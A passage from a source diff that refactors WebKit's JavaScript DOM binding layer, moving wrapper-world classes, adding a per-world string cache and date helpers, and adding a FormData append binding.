     return jsString(exec, s);
 }
 
+JSValue jsString(ExecState* exec, const KURL& url)
+{
+    return jsString(exec, url.string());
+}
+
 JSValue jsStringOrNull(ExecState* exec, const KURL& url)
 {
     if (url.isNull())
@@ -600,6 +515,22 @@ UString valueToStringWithUndefinedOrNullCheck(ExecState* exec, JSValue value)
     return value.toString(exec);
 }
 
+JSValue jsDateOrNull(ExecState* exec, double value)
+{
+    if (!isfinite(value))
+        return jsNull();
+    return new (exec) DateInstance(exec, value);
+}
+
+double valueToDate(ExecState* exec, JSValue value)
+{
+    if (value.isNumber())
+        return value.uncheckedGetNumber();
+    if (!value.inherits(&DateInstance::info))
+        return std::numeric_limits<double>::quiet_NaN();
+    return static_cast<DateInstance*>(value.toObject(exec))->internalNumber();
+}
+
 void reportException(ExecState* exec, JSValue exception)
 {
     UString errorMessage = exception.toString(exec);
@@ -658,7 +589,7 @@ void setDOMException(ExecState* exec, ExceptionCode ec)
             break;
 #if ENABLE(SVG)
         case SVGExceptionType:
-            errorObject = toJS(exec, globalObject, SVGException::create(description).get(), 0);
+            errorObject = toJS(exec, globalObject, SVGException::create(description).get(), 0 /* no context on purpose */);
             break;
 #endif
 #if ENABLE(XPATH)
@@ -728,19 +659,19 @@ Frame* toDynamicFrame(ExecState* exec)
 bool processingUserGesture(ExecState* exec)
 {
     Frame* frame = toDynamicFrame(exec);
-    return frame && frame->script()->processingUserGesture();
+    return frame && frame->script()->processingUserGesture(currentWorld(exec));
 }
 
 KURL completeURL(ExecState* exec, const String& relativeURL)
 {
-    // For histoical reasons, we need to complete the URL using the dynamic frame.
+    // For historical reasons, we need to complete the URL using the dynamic frame.
     Frame* frame = toDynamicFrame(exec);
     if (!frame)
         return KURL();
     return frame->loader()->completeURL(relativeURL);
 }
 
-JSValue objectToStringFunctionGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot&)
+JSValue objectToStringFunctionGetter(ExecState* exec, JSValue, const Identifier& propertyName)
 {
     return new (exec) NativeFunctionWrapper(exec, exec->lexicalGlobalObject()->prototypeFunctionStructure(), 0, propertyName, objectProtoFuncToString);
 }
@@ -804,34 +735,4 @@ JSC::JSObject* toJSSequence(ExecState* exec, JSValue value, unsigned& length)
     return object;
 }
 
-bool DOMObject::defineOwnProperty(ExecState* exec, const Identifier&, PropertyDescriptor&, bool)
-{
-    throwError(exec, TypeError, "defineProperty is not supported on DOM Objects");
-    return false;
-}
-
-JSValue DebuggerCallFrame_evaluateInWorld(const JSC::DebuggerCallFrame& debuggerCallFrame, const UString& script, JSValue& exception)
-{
-    EnterDOMWrapperWorld worldEntry(debuggerCallFrame.dynamicGlobalObject()->globalExec(), debuggerWorld());
-    return debuggerCallFrame.evaluate(script, exception);
-}
-
-JSValue callInWorld(ExecState* exec, JSValue function, CallType callType, const CallData& callData, JSValue thisValue, const ArgList& args, DOMWrapperWorld* isolatedWorld)
-{
-    EnterDOMWrapperWorld worldEntry(exec, isolatedWorld);
-    return JSC::call(exec, function, callType, callData, thisValue, args);
-}
-
-JSObject* constructInWorld(ExecState* exec, JSValue object, ConstructType constructType, const ConstructData& constructData, const ArgList& args, DOMWrapperWorld* isolatedWorld)
-{
-    EnterDOMWrapperWorld worldEntry(exec, isolatedWorld);
-    return JSC::construct(exec, object, constructType, constructData, args);
-}
-
-Completion evaluateInWorld(ExecState* exec, ScopeChain& scopeChain, const SourceCode& sourceCode, JSValue thisValue, DOMWrapperWorld* isolatedWorld)
-{
-    EnterDOMWrapperWorld worldEntry(exec, isolatedWorld);
-    return JSC::evaluate(exec, scopeChain, sourceCode, thisValue);
-}
-
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMBinding.h b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMBinding.h
index ba41d85..219472b 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMBinding.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMBinding.h
@@ -23,9 +23,13 @@
 #define JSDOMBinding_h
 
 #include "JSDOMGlobalObject.h"
-#include "Document.h" // For DOMConstructorWithDocument
+#include "JSDOMWrapper.h"
+#include "DOMWrapperWorld.h"
+#include "JSSVGContextCache.h"
+#include "Document.h"
 #include <runtime/Completion.h>
 #include <runtime/Lookup.h>
+#include <runtime/WeakGCMap.h>
 #include <wtf/Noncopyable.h>
 
 namespace JSC {
@@ -42,6 +46,7 @@ namespace WebCore {
     class Node;
     class String;
     class ScriptController;
+    class ScriptCachedFrameData;
 
     typedef int ExceptionCode;
 
@@ -49,60 +54,37 @@ namespace WebCore {
     class SVGElement;
 #endif
 
-    // Base class for all objects in this binding except Window.
-    class DOMObject : public JSC::JSObject {
-    protected:
-        explicit DOMObject(NonNullPassRefPtr<JSC::Structure> structure) 
-            : JSObject(structure)
-        {
-        }
-
-        virtual bool defineOwnProperty(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&, bool);
-
-#ifndef NDEBUG
-        virtual ~DOMObject();
-#endif
-    };
-
     // FIXME: This class should collapse into DOMObject once all DOMObjects are
     // updated to store a globalObject pointer.
     class DOMObjectWithGlobalPointer : public DOMObject {
     public:
-        JSDOMGlobalObject* globalObject() const { return m_globalObject; }
+        JSDOMGlobalObject* globalObject() const { return static_cast<JSDOMGlobalObject*>(getAnonymousValue(GlobalObjectSlot).asCell()); }
 
         ScriptExecutionContext* scriptExecutionContext() const
         {
             // FIXME: Should never be 0, but can be due to bug 27640.
-            return m_globalObject->scriptExecutionContext();
+            return globalObject()->scriptExecutionContext();
         }
 
         static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
         {
-            return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+            return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     protected:
-        static const unsigned StructureFlags = JSC::OverridesMarkChildren | DOMObject::StructureFlags;
+        static const unsigned AnonymousSlotCount = 1 + DOMObject::AnonymousSlotCount;
+        static const unsigned GlobalObjectSlot = AnonymousSlotCount - 1;
 
         DOMObjectWithGlobalPointer(NonNullPassRefPtr<JSC::Structure> structure, JSDOMGlobalObject* globalObject)
             : DOMObject(structure)
-            , m_globalObject(globalObject)
         {
             // FIXME: This ASSERT is valid, but fires in fast/dom/gc-6.html when trying to create
             // new JavaScript objects on detached windows due to DOMWindow::document()
             // needing to reach through the frame to get to the Document*.  See bug 27640.
             // ASSERT(globalObject->scriptExecutionContext());
+            putAnonymousValue(GlobalObjectSlot, globalObject);
         }
         virtual ~DOMObjectWithGlobalPointer() { }
-
-        void markChildren(JSC::MarkStack& markStack)
-        {
-            DOMObject::markChildren(markStack);
-            markStack.append(m_globalObject);
-        }
-
-    private:
-        JSDOMGlobalObject* m_globalObject;
     };
 
     // Base class for all constructor objects in the JSC bindings.
@@ -110,7 +92,7 @@ namespace WebCore {
     public:
         static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
         {
-            return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+            return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     protected:
@@ -138,121 +120,29 @@ namespace WebCore {
         }
     };
 
-    typedef HashMap<void*, DOMObject*> DOMObjectWrapperMap;
-
-    class DOMWrapperWorld : public RefCounted<DOMWrapperWorld> {
-    public:
-        DOMWrapperWorld(JSC::JSGlobalData*);
-        ~DOMWrapperWorld();
-
-        void rememberDocument(Document* document) { documentsWithWrappers.add(document); }
-        void forgetDocument(Document* document) { documentsWithWrappers.remove(document); }
-        void rememberScriptController(ScriptController* scriptController) { scriptControllersWithShells.add(scriptController); }
-        void forgetScriptController(ScriptController* scriptController) { scriptControllersWithShells.remove(scriptController); }
-
-        // FIXME: can we make this private?
-        DOMObjectWrapperMap m_wrappers;
-
-    private:
-        JSC::JSGlobalData* m_globalData;
-        HashSet<Document*> documentsWithWrappers;
-        HashSet<ScriptController*> scriptControllersWithShells;
-    };
-
-    // Map from static HashTable instances to per-GlobalData ones.
-    class DOMObjectHashTableMap {
-    public:
-        static DOMObjectHashTableMap& mapFor(JSC::JSGlobalData&);
-
-        ~DOMObjectHashTableMap()
-        {
-            HashMap<const JSC::HashTable*, JSC::HashTable>::iterator mapEnd = m_map.end();
-            for (HashMap<const JSC::HashTable*, JSC::HashTable>::iterator iter = m_map.begin(); iter != m_map.end(); ++iter)
-                iter->second.deleteTable();
-        }
-
-        const JSC::HashTable* get(const JSC::HashTable* staticTable)
-        {
-            HashMap<const JSC::HashTable*, JSC::HashTable>::iterator iter = m_map.find(staticTable);
-            if (iter != m_map.end())
-                return &iter->second;
-            return &m_map.set(staticTable, JSC::HashTable(*staticTable)).first->second;
-        }
-
-    private:
-        HashMap<const JSC::HashTable*, JSC::HashTable> m_map;
-    };
-
-    class WebCoreJSClientData : public JSC::JSGlobalData::ClientData {
-        friend class EnterDOMWrapperWorld;
-        friend class JSGlobalDataWorldIterator;
-
-    public:
-        WebCoreJSClientData(JSC::JSGlobalData* globalData)
-            : m_normalWorld(globalData)
-        {
-            m_worldStack.append(&m_normalWorld);
-            m_worldSet.add(&m_normalWorld);
-        }
-        // FIXME: add a destructor to assert m_worldSet only contains m_normalWorld?
-
-        DOMWrapperWorld* currentWorld() { return m_worldStack.last(); }
-        DOMWrapperWorld* normalWorld() { return &m_normalWorld; }
-
-        void rememberWorld(DOMWrapperWorld* world)
-        {
-            ASSERT(!m_worldSet.contains(world));
-            m_worldSet.add(world);
-        }
-        void forgetWorld(DOMWrapperWorld* world)
-        {
-            ASSERT(m_worldSet.contains(world));
-            m_worldSet.remove(world);
-        }
-
-        DOMObjectHashTableMap hashTableMap;
-    private:
-        Vector<DOMWrapperWorld*> m_worldStack;
-        HashSet<DOMWrapperWorld*> m_worldSet;
-        DOMWrapperWorld m_normalWorld;
-    };
-
-    class EnterDOMWrapperWorld {
-    public:
-        EnterDOMWrapperWorld(JSC::JSGlobalData&, DOMWrapperWorld*);
-        EnterDOMWrapperWorld(JSC::ExecState*, DOMWrapperWorld*);
-        ~EnterDOMWrapperWorld();
-
-    private:
-        WebCoreJSClientData* m_clientData;
-    };
-
-    DOMObject* getCachedDOMObjectWrapper(JSC::JSGlobalData&, void* objectHandle);
-    void cacheDOMObjectWrapper(JSC::JSGlobalData&, void* objectHandle, DOMObject* wrapper);
-    void forgetDOMNode(DOMObject* wrapper, Node* node, Document* document);
+    DOMObject* getCachedDOMObjectWrapper(JSC::ExecState*, void* objectHandle);
+    bool hasCachedDOMObjectWrapper(JSC::JSGlobalData*, void* objectHandle);
+    void cacheDOMObjectWrapper(JSC::ExecState*, void* objectHandle, DOMObject* wrapper);
+    void forgetDOMNode(JSNode* wrapper, Node* node, Document* document);
     void forgetDOMObject(DOMObject* wrapper, void* objectHandle);
 
-    JSNode* getCachedDOMNodeWrapper(Document*, Node*);
-    void cacheDOMNodeWrapper(Document*, Node*, JSNode* wrapper);
+    JSNode* getCachedDOMNodeWrapper(JSC::ExecState*, Document*, Node*);
+    void cacheDOMNodeWrapper(JSC::ExecState*, Document*, Node*, JSNode* wrapper);
     void forgetAllDOMNodesForDocument(Document*);
-    void forgetWorldOfDOMNodesForDocument(Document*, DOMWrapperWorld*);
     void updateDOMNodeDocument(Node*, Document* oldDocument, Document* newDocument);
+
     void markDOMNodesForDocument(JSC::MarkStack&, Document*);
     void markActiveObjectsForContext(JSC::MarkStack&, JSC::JSGlobalData&, ScriptExecutionContext*);
     void markDOMObjectWrapper(JSC::MarkStack&, JSC::JSGlobalData& globalData, void* object);
+    void markDOMNodeWrapper(JSC::MarkStack& markStack, Document* document, Node* node);
+    bool hasCachedDOMObjectWrapperUnchecked(JSC::JSGlobalData*, void* objectHandle);
+    bool hasCachedDOMNodeWrapperUnchecked(Document*, Node*);
 
     JSC::Structure* getCachedDOMStructure(JSDOMGlobalObject*, const JSC::ClassInfo*);
     JSC::Structure* cacheDOMStructure(JSDOMGlobalObject*, NonNullPassRefPtr<JSC::Structure>, const JSC::ClassInfo*);
     JSC::Structure* getCachedDOMStructure(JSC::ExecState*, const JSC::ClassInfo*);
     JSC::Structure* cacheDOMStructure(JSC::ExecState*, NonNullPassRefPtr<JSC::Structure>, const JSC::ClassInfo*);
 
-    DOMWrapperWorld* currentWorld(JSC::ExecState*);
-    DOMWrapperWorld* normalWorld(JSC::JSGlobalData&);
-    DOMWrapperWorld* mainThreadCurrentWorld();
-    DOMWrapperWorld* mainThreadNormalWorld();
-    inline DOMWrapperWorld* debuggerWorld() { return mainThreadNormalWorld(); }
-    inline DOMWrapperWorld* pluginWorld() { return mainThreadNormalWorld(); }
-
     JSC::JSObject* getCachedDOMConstructor(JSC::ExecState*, const JSC::ClassInfo*);
     void cacheDOMConstructor(JSC::ExecState*, const JSC::ClassInfo*, JSC::JSObject* constructor);
 
@@ -283,17 +173,17 @@ namespace WebCore {
     template<class WrapperClass, class DOMClass> inline DOMObject* createDOMObjectWrapper(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, DOMClass* object)
     {
         ASSERT(object);
-        ASSERT(!getCachedDOMObjectWrapper(exec->globalData(), object));
+        ASSERT(!getCachedDOMObjectWrapper(exec, object));
         // FIXME: new (exec) could use a different globalData than the globalData this wrapper is cached on.
         WrapperClass* wrapper = new (exec) WrapperClass(getDOMStructure<WrapperClass>(exec, globalObject), globalObject, object);
-        cacheDOMObjectWrapper(exec->globalData(), object, wrapper);
+        cacheDOMObjectWrapper(exec, object, wrapper);
         return wrapper;
     }
     template<class WrapperClass, class DOMClass> inline JSC::JSValue getDOMObjectWrapper(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, DOMClass* object)
     {
         if (!object)
             return JSC::jsNull();
-        if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), object))
+        if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec, object))
             return wrapper;
         return createDOMObjectWrapper<WrapperClass>(exec, globalObject, object);
     }
@@ -302,19 +192,21 @@ namespace WebCore {
     #define CREATE_SVG_OBJECT_WRAPPER(exec, globalObject, className, object, context) createDOMObjectWrapper<JS##className>(exec, globalObject, static_cast<className*>(object), context)
     template<class WrapperClass, class DOMClass> inline DOMObject* createDOMObjectWrapper(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, DOMClass* object, SVGElement* context)
     {
-        ASSERT(object);
-        ASSERT(!getCachedDOMObjectWrapper(exec->globalData(), object));
-        WrapperClass* wrapper = new (exec) WrapperClass(getDOMStructure<WrapperClass>(exec, globalObject), globalObject, object, context);
-        cacheDOMObjectWrapper(exec->globalData(), object, wrapper);
+        DOMObject* wrapper = createDOMObjectWrapper<WrapperClass, DOMClass>(exec, globalObject, object);
+        ASSERT(wrapper);
+        if (context)
+            JSSVGContextCache::addWrapper(wrapper, context);
         return wrapper;
     }
     template<class WrapperClass, class DOMClass> inline JSC::JSValue getDOMObjectWrapper(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, DOMClass* object, SVGElement* context)
     {
         if (!object)
             return JSC::jsNull();
-        if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), object))
+        if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec, object)) {
+            ASSERT(JSSVGContextCache::svgContextForDOMObject(wrapper) == context);
             return wrapper;
-        return createDOMObjectWrapper<WrapperClass>(exec, globalObject, object, context);
+        }
+        return createDOMObjectWrapper<WrapperClass, DOMClass>(exec, globalObject, object, context);
     }
 #endif
 
@@ -322,18 +214,18 @@ namespace WebCore {
     template<class WrapperClass, class DOMClass> inline JSNode* createDOMNodeWrapper(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, DOMClass* node)
     {
         ASSERT(node);
-        ASSERT(!getCachedDOMNodeWrapper(node->document(), node));
+        ASSERT(!getCachedDOMNodeWrapper(exec, node->document(), node));
         WrapperClass* wrapper = new (exec) WrapperClass(getDOMStructure<WrapperClass>(exec, globalObject), globalObject, node);
         // FIXME: The entire function can be removed, once we fix caching.
         // This function is a one-off hack to make Nodes cache in the right global object.
-        cacheDOMNodeWrapper(node->document(), node, wrapper);
+        cacheDOMNodeWrapper(exec, node->document(), node, wrapper);
         return wrapper;
     }
     template<class WrapperClass, class DOMClass> inline JSC::JSValue getDOMNodeWrapper(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, DOMClass* node)
     {
         if (!node)
             return JSC::jsNull();
-        if (JSNode* wrapper = getCachedDOMNodeWrapper(node->document(), node))
+        if (JSNode* wrapper = getCachedDOMNodeWrapper(exec, node->document(), node))
             return wrapper;
         return createDOMNodeWrapper<WrapperClass>(exec, globalObject, node);
     }
@@ -346,6 +238,14 @@ namespace WebCore {
     // Convert a DOM implementation exception code into a JavaScript exception in the execution state.
     void setDOMException(JSC::ExecState*, ExceptionCode);
 
+    JSC::JSValue jsString(JSC::ExecState*, const String&); // empty if the string is null
+    JSC::JSValue jsStringSlowCase(JSC::ExecState*, JSStringCache&, StringImpl*);
+    JSC::JSValue jsString(JSC::ExecState*, const KURL&); // empty if the URL is null
+    inline JSC::JSValue jsString(JSC::ExecState* exec, const AtomicString& s)
+    { 
+        return jsString(exec, s.string());
+    }
+        
     JSC::JSValue jsStringOrNull(JSC::ExecState*, const String&); // null if the string is null
     JSC::JSValue jsStringOrNull(JSC::ExecState*, const KURL&); // null if the URL is null
 
@@ -362,6 +262,11 @@ namespace WebCore {
     JSC::UString valueToStringWithNullCheck(JSC::ExecState*, JSC::JSValue); // null if the value is null
     JSC::UString valueToStringWithUndefinedOrNullCheck(JSC::ExecState*, JSC::JSValue); // null if the value is null or undefined
 
+    // Returns a Date instance for the specified value, or null if the value is NaN or infinity.
+    JSC::JSValue jsDateOrNull(JSC::ExecState*, double);
+    // NaN if the value can't be converted to a date.
+    double valueToDate(JSC::ExecState*, JSC::JSValue);
+
     // FIXME: These are a stop-gap until all toJS calls can be converted to pass a globalObject
     template <typename T>
     inline JSC::JSValue toJS(JSC::ExecState* exec, T* ptr)
@@ -397,17 +302,33 @@ namespace WebCore {
     bool allowsAccessFromFrame(JSC::ExecState*, Frame*, String& message);
     bool shouldAllowNavigation(JSC::ExecState*, Frame*);
     void printErrorMessageForFrame(Frame*, const String& message);
-    JSC::JSValue objectToStringFunctionGetter(JSC::ExecState*, const JSC::Identifier& propertyName, const JSC::PropertySlot&);
+    JSC::JSValue objectToStringFunctionGetter(JSC::ExecState*, JSC::JSValue, const JSC::Identifier& propertyName);
 
     Frame* toLexicalFrame(JSC::ExecState*);
     Frame* toDynamicFrame(JSC::ExecState*);
     bool processingUserGesture(JSC::ExecState*);
     KURL completeURL(JSC::ExecState*, const String& relativeURL);
+    
+    inline JSC::JSValue jsString(JSC::ExecState* exec, const String& s)
+    {
+        StringImpl* stringImpl = s.impl();
+        if (!stringImpl || !stringImpl->length())
+            return jsEmptyString(exec);
 
-    JSC::JSValue DebuggerCallFrame_evaluateInWorld(const JSC::DebuggerCallFrame& debuggerCallFrame, const JSC::UString& script, JSC::JSValue& exception);
-    JSC::JSValue callInWorld(JSC::ExecState*, JSC::JSValue function, JSC::CallType, const JSC::CallData&, JSC::JSValue thisValue, const JSC::ArgList&, DOMWrapperWorld*);
-    JSC::JSObject* constructInWorld(JSC::ExecState* exec, JSC::JSValue object, JSC::ConstructType constructType, const JSC::ConstructData& constructData, const JSC::ArgList& args, DOMWrapperWorld*);
-    JSC::Completion evaluateInWorld(JSC::ExecState*, JSC::ScopeChain&, const JSC::SourceCode&, JSC::JSValue thisValue, DOMWrapperWorld*);
+        if (stringImpl->length() == 1 && stringImpl->characters()[0] <= 0xFF)
+            return jsString(exec, stringImpl->ustring());
+
+        JSStringCache& stringCache = currentWorld(exec)->m_stringCache;
+        if (JSC::JSString* wrapper = stringCache.get(stringImpl))
+            return wrapper;
+
+        return jsStringSlowCase(exec, stringCache, stringImpl);
+    }
+
+    inline DOMObjectWrapperMap& domObjectWrapperMapFor(JSC::ExecState* exec)
+    {
+        return currentWorld(exec)->m_wrappers;
+    }
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMFormDataCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMFormDataCustom.cpp
new file mode 100644
index 0000000..222cbcc
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMFormDataCustom.cpp
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JSDOMFormData.h"
+
+#include "DOMFormData.h"
+#include "JSBlob.h"
+#include <runtime/Error.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+JSValue JSDOMFormData::append(ExecState* exec, const ArgList& args)
+{
+    if (args.size() >= 2) {
+        String name = args.at(0).toString(exec);
+        JSValue value = args.at(1);
+        if (value.inherits(&JSBlob::s_info))
+            impl()->append(name, toBlob(value));
+        else
+            impl()->append(name, value.toString(exec));
+    }
+
+    return jsUndefined();
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMGlobalObject.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMGlobalObject.cpp
index 011a4e4..e0b5b89 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMGlobalObject.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMGlobalObject.cpp
@@ -40,6 +40,8 @@ using namespace JSC;
 
 namespace WebCore {
 
+const ClassInfo JSDOMGlobalObject::s_info = { "DOMGlobalObject", 0, 0, 0 };
+
 JSDOMGlobalObject::JSDOMGlobalObject(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject::JSDOMGlobalObjectData* data, JSObject* thisValue)
     : JSGlobalObject(structure, data, thisValue)
 {
@@ -56,14 +58,9 @@ void JSDOMGlobalObject::markChildren(MarkStack& markStack)
     JSDOMConstructorMap::iterator end2 = constructors().end();
     for (JSDOMConstructorMap::iterator it2 = constructors().begin(); it2 != end2; ++it2)
         markStack.append(it2->second);
-}
 
-PassRefPtr<JSEventListener> JSDOMGlobalObject::createJSAttributeEventListener(JSValue val)
-{
-    if (!val.isObject())
-        return 0;
-
-    return JSEventListener::create(asObject(val), true, currentWorld(globalExec())).get();
+    if (d()->m_injectedScript)
+        markStack.append(d()->m_injectedScript);
 }
 
 void JSDOMGlobalObject::setCurrentEvent(Event* evt)
@@ -76,6 +73,16 @@ Event* JSDOMGlobalObject::currentEvent() const
     return d()->evt;
 }
 
+void JSDOMGlobalObject::setInjectedScript(JSObject* injectedScript)
+{
+    d()->m_injectedScript = injectedScript;
+}
+
+JSObject* JSDOMGlobalObject::injectedScript() const
+{
+    return d()->m_injectedScript;
+}
+
 void JSDOMGlobalObject::destroyJSDOMGlobalObjectData(void* jsDOMGlobalObjectData)
 {
     delete static_cast<JSDOMGlobalObjectData*>(jsDOMGlobalObjectData);
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMGlobalObject.h b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMGlobalObject.h
index 6b75a6f..2ad437b 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMGlobalObject.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMGlobalObject.h
@@ -54,29 +54,32 @@ namespace WebCore {
 
         virtual ScriptExecutionContext* scriptExecutionContext() const = 0;
 
-        // Creates a JS EventListener for an "onXXX" event attribute. These
-        // listeners cannot be removed through the removeEventListener API.
-        PassRefPtr<JSEventListener> createJSAttributeEventListener(JSC::JSValue);
-
         // Make binding code generation easier.
         JSDOMGlobalObject* globalObject() { return this; }
 
         void setCurrentEvent(Event*);
         Event* currentEvent() const;
 
+        void setInjectedScript(JSObject*);
+        JSObject* injectedScript() const;
+
         virtual void markChildren(JSC::MarkStack&);
 
+        DOMWrapperWorld* world() { return d()->m_world.get(); }
+
+        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+        static const JSC::ClassInfo s_info;
+
+    private:
+        static void destroyJSDOMGlobalObjectData(void*);
+
     protected:
         struct JSDOMGlobalObjectData : public JSC::JSGlobalObject::JSGlobalObjectData {
-            JSDOMGlobalObjectData()
-                : JSGlobalObjectData(destroyJSDOMGlobalObjectData)
-                , evt(0)
-            {
-            }
-
-            JSDOMGlobalObjectData(Destructor destructor)
+            JSDOMGlobalObjectData(DOMWrapperWorld* world, Destructor destructor = destroyJSDOMGlobalObjectData)
                 : JSGlobalObjectData(destructor)
                 , evt(0)
+                , m_world(world)
+                , m_injectedScript(0)
             {
             }
 
@@ -84,11 +87,11 @@ namespace WebCore {
             JSDOMConstructorMap constructors;
 
             Event* evt;
+            RefPtr<DOMWrapperWorld> m_world;
+            JSObject* m_injectedScript;
         };
 
     private:
-        static void destroyJSDOMGlobalObjectData(void*);
-
         JSDOMGlobalObjectData* d() const { return static_cast<JSDOMGlobalObjectData*>(JSC::JSVariableObject::d); }
     };
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowBase.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowBase.cpp
index 86ff149..c25a70a 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowBase.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowBase.cpp
@@ -24,6 +24,7 @@
 #include "JSDOMWindowBase.h"
 
 #include "CString.h"
+#include "Chrome.h"
 #include "Console.h"
 #include "DOMWindow.h"
 #include "Frame.h"
@@ -35,12 +36,20 @@
 #include "ScriptController.h"
 #include "SecurityOrigin.h"
 #include "Settings.h"
+#include "WebCoreJSClientData.h"
 
 using namespace JSC;
 
 namespace WebCore {
 
-const ClassInfo JSDOMWindowBase::s_info = { "Window", 0, 0, 0 };
+const ClassInfo JSDOMWindowBase::s_info = { "Window", &JSDOMGlobalObject::s_info, 0, 0 };
+
+JSDOMWindowBase::JSDOMWindowBaseData::JSDOMWindowBaseData(PassRefPtr<DOMWindow> window, JSDOMWindowShell* shell)
+    : JSDOMGlobalObjectData(shell->world(), destroyJSDOMWindowBaseData)
+    , impl(window)
+    , shell(shell)
+{
+}
 
 JSDOMWindowBase::JSDOMWindowBase(NonNullPassRefPtr<Structure> structure, PassRefPtr<DOMWindow> window, JSDOMWindowShell* shell)
     : JSDOMGlobalObject(structure, new JSDOMWindowBaseData(window, shell), shell)
@@ -53,11 +62,10 @@ JSDOMWindowBase::JSDOMWindowBase(NonNullPassRefPtr<Structure> structure, PassRef
     addStaticGlobals(staticGlobals, sizeof(staticGlobals) / sizeof(GlobalPropertyInfo));
 }
 
-void JSDOMWindowBase::updateDocument(DOMWrapperWorld* world)
+void JSDOMWindowBase::updateDocument()
 {
     ASSERT(d()->impl->document());
     ExecState* exec = globalExec();
-    EnterDOMWrapperWorld worldEntry(exec, world);
     symbolTablePutWithAttributes(Identifier(exec, "document"), toJS(exec, this, d()->impl->document()), DontDelete | ReadOnly);
 }
 
@@ -69,7 +77,7 @@ ScriptExecutionContext* JSDOMWindowBase::scriptExecutionContext() const
 String JSDOMWindowBase::crossDomainAccessErrorMessage(const JSGlobalObject* other) const
 {
     KURL originURL = asJSDOMWindow(other)->impl()->url();
-    KURL targetURL = impl()->frame()->document()->url();
+    KURL targetURL = d()->shell->window()->impl()->url();
     if (originURL.isNull() || targetURL.isNull())
         return String();
 
@@ -164,7 +172,7 @@ void JSDOMWindowBase::destroyJSDOMWindowBaseData(void* jsDOMWindowBaseData)
     delete static_cast<JSDOMWindowBaseData*>(jsDOMWindowBaseData);
 }
 
-// JSDOMGlobalObject* is ignored, accesing a window in any context will
+// JSDOMGlobalObject* is ignored, accessing a window in any context will
 // use that DOMWindow's prototype chain.
 JSValue toJS(ExecState* exec, JSDOMGlobalObject*, DOMWindow* domWindow)
 {
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowBase.h b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowBase.h
index 31e2486..2726996 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowBase.h
